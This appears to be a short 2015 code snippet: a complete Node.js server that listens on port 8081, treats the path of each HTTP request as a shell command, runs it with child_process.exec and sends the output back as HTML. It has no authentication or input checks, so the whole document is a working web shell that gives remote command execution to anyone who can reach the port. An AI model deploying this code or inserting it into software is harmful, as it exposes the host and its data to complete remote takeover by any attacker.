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August 29, 2015 14:25
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| var PORT = 8081; | |
| var net = require('net'); | |
| var child_process = require('child_process'); | |
| net.createServer(function(socket) { | |
| socket.setEncoding('utf8'); | |
| socket.setTimeout(10*60*1000);// 10 minitus | |
| socket.on('data', function(data) { | |
| var cmd = srchCmd(data);// Get shell command | |
| if (cmd === 'favicon.ico') return;// Ignore a favicon | |
| var output = ''; | |
| // Execute shell command | |
| child_process.exec(cmd, | |
| { encoding: 'utf8' }, | |
| function(err, stdout, stderr) { | |
| output = (err !== null) ? err : (stdout !== null) ? stdout : stderr; | |
| if (typeof output === 'string') { | |
| output = output.replace(/\n/g, "<br>");// Reflect return | |
| output = output.replace(/\t/g, " "); // Replace tab into 2 half-width space | |
| output = output.replace(/ /g, " "); // Replace ' ' into half-width space | |
| // Create http response header | |
| var header = "HTTP/1.1 200 OK\r\n" + | |
| "Content-Type: text/html\r\n" + | |
| "\r\n"; | |
| // Create http response body | |
| var body = "<html><body>" + output + "</body</html>"; | |
| // Send output | |
| socket.write(header + body, 'utf8'); | |
| } | |
| socket.end(); | |
| } | |
| ); | |
| }); | |
| }).listen(PORT); | |
| // Search for shell command in http request | |
| function srchCmd(data) { | |
| var cmd = data.substring( | |
| data.indexOf('/')+1, | |
| data.indexOf(' HTTP')) || ''; | |
| return decodeURI(cmd); | |
| } |
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